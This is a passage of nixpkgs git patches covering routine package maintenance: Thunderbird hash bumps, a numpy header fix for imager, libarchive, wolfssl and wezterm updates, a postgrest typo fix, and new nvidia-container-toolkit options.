       locale = "nn-NO";
       arch = "mac";
-      sha256 = "994e11db8ddf0409078c237eb97a53d573f3e755f0d84d28770bbac0c8877d48";
+      sha256 = "d762da49e6de40ae246fd0c9aeb14e6c18a8f2009cb03a7d62e0c68293ee557b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/pa-IN/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pa-IN/Thunderbird%20139.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "b35020db83a3ebd62bd7d8f59680f74ac9fd5ca84a6f92e30c1b43bb1df55063";
+      sha256 = "c40d709a65025e8c1e7b93aba2539bc4268a3b515c77558f3f4679d10a2b4978";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/pl/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pl/Thunderbird%20139.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "e806e5a5ef2f3fa54f65980eba84f572f119968ab13b50a12d77baf22e3b1cde";
+      sha256 = "1efa46e12beb32ce1ae9be134d8410c517565f0957ef0473ea35b4ff40e91f1c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/pt-BR/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pt-BR/Thunderbird%20139.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "ba94c6f4dd08502a545cb5a8a3c7a40a827f78b92a37bc58c683bac66bd4aff2";
+      sha256 = "f1edbbada6b14080637157b9da8ebe543ff7c4e5883b20e1133bdc49370e2158";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/pt-PT/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pt-PT/Thunderbird%20139.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "a43b659c99ffeb230132f0a4f961696bcfb57fc8da5ec8ff23de36f830c76f8a";
+      sha256 = "76e77122f82675e7f78053e093a27bbabdf26ce0a2b27ce3ee3e5cb070e40fea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/rm/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/rm/Thunderbird%20139.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "de3b344e91fedd0bfc49f17f3571b5d028ecf8291c2bc54cd0c0d5c319c66eb8";
+      sha256 = "54d034a454d0f7e5dbe7dc109557fb2bd7f05c89ce78fa8107cb1d48c5ffec2e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ro/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ro/Thunderbird%20139.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "7ddbb8d39221e881a21aa2ba44499a542ac18233acea67d474f5bf9237ebef32";
+      sha256 = "013a405d07602a23b8fb59a6c4989f857c9b6d7f7292403892ba4190d4553052";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ru/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ru/Thunderbird%20139.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "f8d469fe85da543025656225244c32180e4091db57ef77a7940c5bcefaab3189";
+      sha256 = "7ada75eeb7b97ca36eb5b8319145d748864e3faa694fd6b2818fb3fbcd7611d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/sk/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sk/Thunderbird%20139.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "fc38afe62984fa56bcd0f465060e3f8e9c5dc9c19f44fb2a7a272e193803670e";
+      sha256 = "f73dc5c60187b9c02d821e588d2b28dd68954a271b904f54e579a379586d49f0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/sl/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sl/Thunderbird%20139.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "f7b3ef64000a34b3fb8ee6c6a3f24e7478fcffea14c7302bb2eb523dd1119cc7";
+      sha256 = "07dae9c56d5c3491669bb74a74a34cc779f8ccd1ab979fb750f3db272db54827";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/sq/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sq/Thunderbird%20139.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "d06c5b7460d114c5bb11db6935fa948414eb312be9b9a2aae4cab427a36dc638";
+      sha256 = "3e3eb87df03083c30a5c8ff860692e15c5abaf32a2fda03beebe0880c5cc376d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/sr/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sr/Thunderbird%20139.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "cc2c1ad2fdf145590453b40f39319644c9bc07c614ddd69b22053b7a11a80708";
+      sha256 = "08ec6cea78b0b6315b65dc10be9b927dd0b30b3a6d1735ffb5d7a36e97fe6f2d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/sv-SE/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sv-SE/Thunderbird%20139.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "08193a52095a62b2c9df8dbae84500d467be39b4265450b9a6d1ebab5af45807";
+      sha256 = "80e56cf996625935c2ef6db0f054990c48351cffee20ad6199e233801c9576b4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/th/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/th/Thunderbird%20139.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "21eb67c8c0441213cff96b2dec37583c514df91ccb02c90ee17daec4a821053f";
+      sha256 = "b0ceeca000186b9c7cbbecc2c2f1124576484d4615cc20d4f1f6569f462910c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/tr/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/tr/Thunderbird%20139.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "046165d96b491e29d89516333505af7e160e28086be722886bc7294bdf142b95";
+      sha256 = "ad483fb238a3b792f2a2c03ccda30acbb9d7cf3029560a47718691dcbd63c53c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/uk/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/uk/Thunderbird%20139.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "c8c1881eea72039d49c53100cbfbd1e2869d7a5ddef2e88355728713fff6637a";
+      sha256 = "27e6a7f9aa40678b8c0a7b87bb91ae7bc2856af265378e45b27298fd5d30ad58";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/uz/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/uz/Thunderbird%20139.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "4182d0673851f7fc5975719dab4687280aeda1ffe8d4c8d328ed52747b122426";
+      sha256 = "225420dc0b3cbbcc916579022496512ecf636318b47a8f137510871aab98d797";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/vi/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/vi/Thunderbird%20139.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "5c0ae5f619c40b59a5e8360e3eb5373e0c24accb36b166cc834f30a12c1d2d1d";
+      sha256 = "eea1f05a500092beb82485d6de25222c3beb57201815b02896339db9d3080002";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/zh-CN/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/zh-CN/Thunderbird%20139.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "63e98c9ddc09a67e663d249355f0779e9aec60729f03e1205292afdb4a18d5a9";
+      sha256 = "9009bbb641bdd72b4cc1baecf1a1806c9e252235d6bfdb7b7d05d6358008aba3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/zh-TW/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/zh-TW/Thunderbird%20139.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "5da04b70cc5cfdfb8c880fc6bd9969bc42140aaa5f93c70bbdbe2ce0d931fb34";
+      sha256 = "89ec028df63ffd5f29d8965fd781ca2ac98ff6e58e2e677b4543fa6dad62e7fa";
     }
   ];
 }

From a154f1d185dc7f607122eda7aa61b78322e41f97 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Maret?=
 <sebastien.maret@univ-grenoble-alpes.fr>
Date: Sun, 25 May 2025 11:22:32 +0200
Subject: [PATCH 0170/4511] imager: fix numpy header detection

With recent Numpy versions (> 2.0.0), the header files are located in
_core/include instead of core/include, and the configure script does not
detect them. Use the `numpy.get_include()` function for the detection
in that script.

(cherry picked from commit 02b517263f683cbc0f606017559deccc5fdcba73)
---
 pkgs/by-name/im/imager/numpy-header.patch | 26 +++++++++++++++++++++++
 pkgs/by-name/im/imager/package.nix        |  3 +++
 2 files changed, 29 insertions(+)
 create mode 100644 pkgs/by-name/im/imager/numpy-header.patch

diff --git a/pkgs/by-name/im/imager/numpy-header.patch b/pkgs/by-name/im/imager/numpy-header.patch
new file mode 100644
index 000000000000..6424c5a54f59
--- /dev/null
+++ b/pkgs/by-name/im/imager/numpy-header.patch
@@ -0,0 +1,26 @@
+diff --git a/admin/gildas-env.sh b/admin/gildas-env.sh
+index acb06f9..b25ecd5 100644
+--- a/admin/gildas-env.sh
++++ b/admin/gildas-env.sh
+@@ -441,7 +441,7 @@ EOF
+ 		    # Now search for Numpy
+ 		    if python -c "import numpy" > /dev/null 2>&1; then
+ 			NUMPY_PRESENT=yes
+-			NUMPY_INC_DIR=`python -c "import numpy; print(numpy.__path__[0] + '/core/include')"`
++			NUMPY_INC_DIR=`python -c "import numpy; print(numpy.get_include())"`
+ 			if [ -e "$NUMPY_INC_DIR/numpy/arrayobject.h" ]; then
+ 			    NUMPY_INC_PRESENT=yes
+ 			else
+diff --git a/utilities/etc/setup.py.src b/utilities/etc/setup.py.src
+index 9a4da86..110a0d1 100644
+--- a/utilities/etc/setup.py.src
++++ b/utilities/etc/setup.py.src
+@@ -75,7 +75,7 @@ mod_extras = mod_extras.split()
+ 
+ if (os.environ.get('NUMPY_PRESENT') == "yes"):
+    import numpy
+-   mod_inc_dirs.append(numpy.__path__[0] + '/core/include')
++   mod_inc_dirs.append(numpy.get_include())
+ else:
+    raise Exception("Numpy python package should be present. Aborting.")
+ 
diff --git a/pkgs/by-name/im/imager/package.nix b/pkgs/by-name/im/imager/package.nix
index b3f393b7571c..d21c94272127 100644
--- a/pkgs/by-name/im/imager/package.nix
+++ b/pkgs/by-name/im/imager/package.nix
@@ -59,6 +59,9 @@ stdenv.mkDerivation (finalAttrs: {
     ./clang.patch
     # Replace hardcoded cpp with GAG_CPP (see below).
     ./cpp-darwin.patch
+    # Fix the numpy header detection with numpy > 2.0.0
+    # Patch submitted upstream, it will be included in the next release.
+    ./numpy-header.patch
   ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-unused-command-line-argument";

From b4ef085e7c6577b445b9f049a5d07ce24b0d3a5e Mon Sep 17 00:00:00 2001
From: Zhaofeng Li <hello@zhaofeng.li>
Date: Wed, 21 May 2025 00:12:36 -0600
Subject: [PATCH 0171/4511] libarchive: 3.7.8 -> 3.8.0

(cherry picked from commit 525263cc6c71d195c2237b0f150132bccb0dd86c)
---
 .../li/libarchive/fix-pkg-config-iconv.patch  | 18 ---------------
 pkgs/by-name/li/libarchive/package.nix        | 22 ++-----------------
 2 files changed, 2 insertions(+), 38 deletions(-)
 delete mode 100644 pkgs/by-name/li/libarchive/fix-pkg-config-iconv.patch

diff --git a/pkgs/by-name/li/libarchive/fix-pkg-config-iconv.patch b/pkgs/by-name/li/libarchive/fix-pkg-config-iconv.patch
deleted file mode 100644
index 209a293b460b..000000000000
--- a/pkgs/by-name/li/libarchive/fix-pkg-config-iconv.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-diff --git a/configure.ac b/configure.ac
-index 0fdfaf06a5..d08611848c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -453,13 +453,8 @@
-   AC_CHECK_HEADERS([iconv.h],[],[],[#include <stdlib.h>])
-   if test "x$am_cv_func_iconv" = "xyes"; then
-     AC_CHECK_HEADERS([localcharset.h])
--    am_save_LIBS="$LIBS"
-     LIBS="${LIBS} ${LIBICONV}"
--    if test -n "$LIBICONV"; then
--      LIBSREQUIRED="$LIBSREQUIRED${LIBSREQUIRED:+ }iconv"
--    fi
-     AC_CHECK_FUNCS([locale_charset])
--    LIBS="${am_save_LIBS}"
-     if test "x$ac_cv_func_locale_charset" != "xyes"; then
-       # If locale_charset() is not in libiconv, we have to find libcharset.
-       AC_CHECK_LIB(charset,locale_charset)
diff --git a/pkgs/by-name/li/libarchive/package.nix b/pkgs/by-name/li/libarchive/package.nix
index bf43230d9333..430f8c192ad1 100644
--- a/pkgs/by-name/li/libarchive/package.nix
+++ b/pkgs/by-name/li/libarchive/package.nix
@@ -11,7 +11,6 @@
   lzo,
   openssl,
   pkg-config,
-  sharutils,
   xz,
   zlib,
   zstd,
@@ -33,31 +32,15 @@
 assert xarSupport -> libxml2 != null;
 stdenv.mkDerivation (finalAttrs: {
   pname = "libarchive";
-  version = "3.7.8";
+  version = "3.8.0";
 
   src = fetchFromGitHub {
     owner = "libarchive";
     repo = "libarchive";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-fjE3b9rDHf1Xubpm9guvX6I8a2loYsGHj3epLceueUw=";
+    hash = "sha256-nL2p2h+U25fhQQjbj16yhxhU8xEEuhNynIx7SNzl6Mo=";
   };
 
-  patches = [
-    # The `.pc` file lists `iconv` in `Requires.private` when `-liconv`
-    # is required, even though common platforms in that situation like
-    # Darwin don’t ship a `.pc` file for their `libiconv`. This isn’t
-    # upstreamed as there are a handful of closed or regressed PRs
-    # trying to fix it already and it seems upstream added this to deal
-    # with some non‐portable MSYS2 thing or something.
-    #
-    # See:
-    #
-    # * <https://github.com/libarchive/libarchive/issues/1766>
-    # * <https://github.com/libarchive/libarchive/issues/1819>
-    # * <https://github.com/Homebrew/homebrew-core/blob/f8e9e8d4f30979dc99146b5877fce76be6d35124/Formula/lib/libarchive.rb#L48-L52>
-    ./fix-pkg-config-iconv.patch
-  ];
-
   outputs = [
     "out"
     "lib"
@@ -109,7 +92,6 @@ stdenv.mkDerivation (finalAttrs: {
       zlib
       zstd
     ]
-    ++ lib.optional stdenv.hostPlatform.isUnix sharutils
     ++ lib.optionals stdenv.hostPlatform.isLinux [
       acl
       attr

From 826dd3a70b833bcc81540c8a0761110537a4dc8a Mon Sep 17 00:00:00 2001
From: Zhaofeng Li <hello@zhaofeng.li>
Date: Sat, 24 May 2025 18:52:59 -0600
Subject: [PATCH 0172/4511] libarchive: Add patch to fix macOS metadata
 handling when reading certain tarballs

This was merged in <https://github.com/libarchive/libarchive/pull/2636>
and fixes the root cause of the test_copy failure.

(cherry picked from commit 8fa0b532afdaa4146287b968d2de39ae20f87e5d)
---
 pkgs/by-name/li/libarchive/package.nix | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/pkgs/by-name/li/libarchive/package.nix b/pkgs/by-name/li/libarchive/package.nix
index 430f8c192ad1..d8e1d405f985 100644
--- a/pkgs/by-name/li/libarchive/package.nix
+++ b/pkgs/by-name/li/libarchive/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   acl,
   attr,
   autoreconfHook,
@@ -41,6 +42,21 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-nL2p2h+U25fhQQjbj16yhxhU8xEEuhNynIx7SNzl6Mo=";
   };
 
+  patches = [
+    # Remove in next release
+    #
+    # Fixes macOS metadata file handling when reading certain tarballs
+    # (e.g, bsdtar-produced tar containing a file with xattrs whose name is exactly 99 bytes long)
+    # <https://github.com/libarchive/libarchive/pull/2636>
+    #
+    # This also fixes test_copy in the test suite.
+    (fetchpatch {
+      name = "reset-header-state-after-mac-metadata.patch";
+      url = "https://github.com/libarchive/libarchive/commit/5bb36db5e19aecabccec8f351ec22f8c3a8695f0.patch";
+      hash = "sha256-eNGSunYZ5b0TrkBUtOO7MYGXc+SEn1Sxm8MYyI+4JsQ=";
+    })
+  ];
+
   outputs = [
     "out"
     "lib"

From 7c65985b2cb08e4005b899e98df88096b739f37a Mon Sep 17 00:00:00 2001
From: Marc Fontaine <MarcFontaine@users.noreply.github.com>
Date: Mon, 26 May 2025 21:21:10 +0200
Subject: [PATCH 0173/4511] nixos/postgrest: fix typo in name of configuration
 options (#411197)

The config-file key is 'server-unix-socket-mode', not 'service-unix-socket-mode'.

(cherry picked from commit b134f3148fb2b457f547842f173e34767d4d969f)
---
 nixos/modules/services/databases/postgrest.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/databases/postgrest.nix b/nixos/modules/services/databases/postgrest.nix
index e9e03089a8b2..5cd90db3609a 100644
--- a/nixos/modules/services/databases/postgrest.nix
+++ b/nixos/modules/services/databases/postgrest.nix
@@ -247,7 +247,7 @@ in
 
     # Since we're using DynamicUser, we can't add the e.g. nginx user to
     # a postgrest group, so the unix socket must be world-readable to make it useful.
-    services.postgrest.settings.service-unix-socket-mode = "666";
+    services.postgrest.settings.server-unix-socket-mode = "666";
 
     systemd.services.postgrest = {
       description = "PostgREST";

From 62e290f9fa351b6b9af4186094a6bb6d1967f8ab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?=
 <ereslibre@ereslibre.es>
Date: Fri, 25 Apr 2025 18:22:00 +0200
Subject: [PATCH 0174/4511] nixos/nvidia-container-toolkit: allow to provide
 CSV files

(cherry picked from commit 1948ad4bb5aa16054e07cbfd0b585bd58763965b)
---
 .../nvidia-container-toolkit/cdi-generate.nix | 15 +++-
 .../nvidia-container-toolkit/default.nix      | 75 +++++++++++++------
 2 files changed, 65 insertions(+), 25 deletions(-)

diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix b/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
index bf4e5632271a..13595c320833 100644
--- a/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
+++ b/nixos/modules/services/hardware/nvidia-container-toolkit/cdi-generate.nix
@@ -1,9 +1,11 @@
 {
-  deviceNameStrategy,
+  csv-files,
+  device-name-strategy,
+  discovery-mode,
+  mounts,
   glibc,
   jq,
   lib,
-  mounts,
   nvidia-container-toolkit,
   nvidia-driver,
   runtimeShell,
@@ -36,7 +38,14 @@ writeScriptBin "nvidia-cdi-generator" ''
   function cdiGenerate {
     ${lib.getExe' nvidia-container-toolkit "nvidia-ctk"} cdi generate \
       --format json \
-      --device-name-strategy ${deviceNameStrategy} \
+      ${
+        if (builtins.length csv-files) > 0 then
+          lib.concatMapStringsSep "\n" (file: "--csv.file ${file} \\") csv-files
+        else
+          "\\"
+      }
+      --discovery-mode ${discovery-mode} \
+      --device-name-strategy ${device-name-strategy} \
       --ldconfig-path ${lib.getExe' glibc "ldconfig"} \
       --library-search-path ${lib.getLib nvidia-driver}/lib \
       --nvidia-cdi-hook-path ${lib.getExe' nvidia-container-toolkit.tools "nvidia-cdi-hook"}
diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix b/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix
index af94fbe6a45b..d9596f754c6b 100644
--- a/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix
+++ b/nixos/modules/services/hardware/nvidia-container-toolkit/default.nix
@@ -50,12 +50,39 @@
           '';
         };
 
-        suppressNvidiaDriverAssertion = lib.mkOption {
-          default = false;
-          type = lib.types.bool;
+        device-name-strategy = lib.mkOption {
+          default = "index";
+          type = lib.types.enum [
+            "index"
+            "uuid"
+            "type-index"
+          ];
           description = ''
-            Suppress the assertion for installing Nvidia driver.
-            Useful in WSL where drivers are mounted from Windows, not provided by NixOS.
+            Specify the strategy for generating device names,
+            passed to `nvidia-ctk cdi generate`. This will affect how
+            you reference the device using `nvidia.com/gpu=` in
+            the container runtime.
+          '';
+        };
+
+        discovery-mode = lib.mkOption {
+          default = "auto";
+          type = lib.types.enum [
+            "auto"
+            "csv"
+            "nvml"
+            "wsl"
+          ];
+          description = ''
+            The mode to use when discovering the available entities.
+          '';
+        };
+
+        csv-files = lib.mkOption {
+          default = [ ];
+          type = lib.types.listOf lib.types.path;
+          description = ''
+            The path to the list of CSV files to use when generating the CDI specification in CSV mode.
           '';
         };
 
@@ -74,21 +101,6 @@
           '';
         };
 
-        device-name-strategy = lib.mkOption {
-          default = "index";
-          type = lib.types.enum [
-            "index"
-            "uuid"
-            "type-index"
-          ];
-          description = ''
-            Specify the strategy for generating device names,
-            passed to `nvidia-ctk cdi generate`. This will affect how
-            you reference the device using `nvidia.com/gpu=` in
-            the container runtime.
-          '';
-        };
-
         mount-nvidia-docker-1-directories = lib.mkOption {
           default = true;
           type = lib.types.bool;
@@ -98,6 +110,15 @@
           '';
         };
 
+        suppressNvidiaDriverAssertion = lib.mkOption {
+          default = false;
+          type = lib.types.bool;
+          description = ''
+            Suppress the assertion for installing Nvidia driver.
+            Useful in WSL where drivers are mounted from Windows, not provided by NixOS.
+          '';
+        };
+
         package = lib.mkPackageOption pkgs "nvidia-container-toolkit" { };
       };
 
@@ -112,6 +133,12 @@
           || config.hardware.nvidia-container-toolkit.suppressNvidiaDriverAssertion;
         message = ''`nvidia-container-toolkit` requires nvidia drivers: set `hardware.nvidia.datacenter.enable`, add "nvidia" to `services.xserver.videoDrivers`, or set `hardware.nvidia-container-toolkit.suppressNvidiaDriverAssertion` if the driver is provided by another NixOS module (e.g. from NixOS-WSL)'';
       }
+      {
+        assertion =
+          ((builtins.length config.hardware.nvidia-container-toolkit.csv-files) > 0)
+          -> config.hardware.nvidia-container-toolkit.discovery-mode == "csv";
+        message = ''When CSV files are provided, `config.hardware.nvidia-container-toolkit.discovery-mode` has to be set to `csv`.'';
+      }
     ];
 
     virtualisation.docker = {
@@ -209,10 +236,14 @@
         ExecStart =
           let
             script = pkgs.callPackage ./cdi-generate.nix {
-              inherit (config.hardware.nvidia-container-toolkit) mounts;
+              inherit (config.hardware.nvidia-container-toolkit)
+                csv-files
+                device-name-strategy
+                discovery-mode
+                mounts
+                ;
               nvidia-container-toolkit = config.hardware.nvidia-container-toolkit.package;
               nvidia-driver = config.hardware.nvidia.package;
-              deviceNameStrategy = config.hardware.nvidia-container-toolkit.device-name-strategy;
             };
           in
           lib.getExe script;

From eb3d5342273d06f8fd5d41205cd5aea940524e0e Mon Sep 17 00:00:00 2001
From: Adrian Pistol <vifino@posteo.net>
Date: Mon, 3 Feb 2025 18:17:49 +0100
Subject: [PATCH 0175/4511] wolfssl: 5.7.4 -> 5.7.6

(cherry picked from commit 7e1927f3a1eed52573eac93b93d2c66b4090ce4c)
---
 pkgs/by-name/wo/wolfssl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wo/wolfssl/package.nix b/pkgs/by-name/wo/wolfssl/package.nix
index bccd65d015f9..b7c1bca77bf5 100644
--- a/pkgs/by-name/wo/wolfssl/package.nix
+++ b/pkgs/by-name/wo/wolfssl/package.nix
@@ -17,13 +17,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wolfssl-${variant}";
-  version = "5.7.4";
+  version = "5.7.6";
 
   src = fetchFromGitHub {
     owner = "wolfSSL";
     repo = "wolfssl";
     tag = "v${finalAttrs.version}-stable";
-    hash = "sha256-/dtW1E1wYfQEuotclUEOK5+Vg4S7vt1xWhr1lEtu60w=";
+    hash = "sha256-q3V2cxk7dBRJoE8EpfWxkYmXPfDzoMwrX1JLazrHOuA=";
   };
 
   postPatch = ''

From d3ab1cca1e310ae8622b5fd37cff245e7ba01053 Mon Sep 17 00:00:00 2001
From: Tom Bojer <t.bojer@shopware.com>
Date: Fri, 23 May 2025 22:49:09 +0200
Subject: [PATCH 0176/4511] wezterm: 0-unstable-2025-02-23 ->
 0-unstable-2025-05-18

(cherry picked from commit d870438bcab82f0ec8cc619c7cdf4bf6a17ab563)
---
 pkgs/by-name/we/wezterm/package.nix | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/we/wezterm/package.nix b/pkgs/by-name/we/wezterm/package.nix
index d466ff1ba7ac..5328cc98cc63 100644
--- a/pkgs/by-name/we/wezterm/package.nix
+++ b/pkgs/by-name/we/wezterm/package.nix
@@ -29,14 +29,14 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "wezterm";
-  version = "0-unstable-2025-02-23";
+  version = "0-unstable-2025-05-18";
 
   src = fetchFromGitHub {
     owner = "wez";
     repo = "wezterm";
-    rev = "4ff581a8aa3460d04f859fdadb50f29b3c507763";
+    rev = "5663e749948df3ed3c2d8ee0bfea6c85226310d9";
     fetchSubmodules = true;
-    hash = "sha256-KKfGB1vM8ytpNieWD6CHD5zVyUe17tFAegZFzLx7QfE=";
+    hash = "sha256-SQ1H16jy6GVjM8tEKZZC7AGIADLR1NyGfOT/6pFcFA0=";
   };
 
   postPatch =
@@ -55,7 +55,10 @@ rustPlatform.buildRustPackage rec {
       rm -r wezterm-ssh/tests
     '';
 
-  cargoHash = "sha256-WyQYmRNlabJaCTJm7Cn9nkXfOGAcOHwhoD9vmEggrDw=";
+  # https://github.com/wezterm/wezterm/pull/6960/commits/cb409f1213be314bb16e59b7147da8da16d12769#diff-c6652db0a7201b6411f7af58e81a051211a22b544efededd8e514ce8bf1c4646R134
+  auditable = false;
+
+  cargoHash = "sha256-9pdkXpkIbe5HeVGvgusRaI4A6ZjDGssO5k0ULVnO6k8=";
   useFetchCargoVendor = true;
 
   nativeBuildInputs = [

From 73bfb496f0df8a588f3353d0dc1cf4dbbed8f159 Mon Sep 17 00:00:00 2001
From: Sandro <sandro.jaeckel@gmail.com>
Date: Mon, 26 May 2025 16:50:55 +0200
Subject: [PATCH 0177/4511] wezterm: improve link to cargo auditable issue

(cherry picked from commit 5e7fa3c3d014a6986e0bee2279ee66ede05863b5)
---
 pkgs/by-name/we/wezterm/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/we/wezterm/package.nix b/pkgs/by-name/we/wezterm/package.nix
index 5328cc98cc63..118a02e2c6b8 100644
--- a/pkgs/by-name/we/wezterm/package.nix
+++ b/pkgs/by-name/we/wezterm/package.nix
@@ -55,7 +55,9 @@ rustPlatform.buildRustPackage rec {
       rm -r wezterm-ssh/tests
     '';
 
-  # https://github.com/wezterm/wezterm/pull/6960/commits/cb409f1213be314bb16e59b7147da8da16d12769#diff-c6652db0a7201b6411f7af58e81a051211a22b544efededd8e514ce8bf1c4646R134
+  # dep: syntax causes build failures in rare cases
+  # https://github.com/rust-secure-code/cargo-auditable/issues/124
+  # https://github.com/wezterm/wezterm/blob/main/nix/flake.nix#L134
   auditable = false;
 
   cargoHash = "sha256-9pdkXpkIbe5HeVGvgusRaI4A6ZjDGssO5k0ULVnO6k8=";

From cf4d81b0ce0f5cc34b0b5a7e027caeb182c30c57 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas.gerbet@enalean.com>
Date: Wed, 28 May 2025 08:15:27 +0200
Subject: [PATCH 0178/4511] openssh: disable memlocking when building with PAM
 support

With the current OpenSSH version it can result in some crashes
preventing users to log in.

Upstream issue: https://bugzilla.mindrot.org/show_bug.cgi?id=3822

For reference Debian also disabled it for now:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1103418

(cherry picked from commit 39c7929c6ec3c584d01b69c63914a1eaf9eef3ab)
---
 pkgs/tools/networking/openssh/common.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/tools/networking/openssh/common.nix b/pkgs/tools/networking/openssh/common.nix
index 7f94a1e8408d..683144ee21b0 100644
--- a/pkgs/tools/networking/openssh/common.nix
+++ b/pkgs/tools/networking/openssh/common.nix
@@ -37,7 +37,9 @@
   withFIDO ? stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isMusl && withSecurityKey,
   withPAM ? stdenv.hostPlatform.isLinux,
   # Attempts to mlock the entire sshd process on startup to prevent swapping.
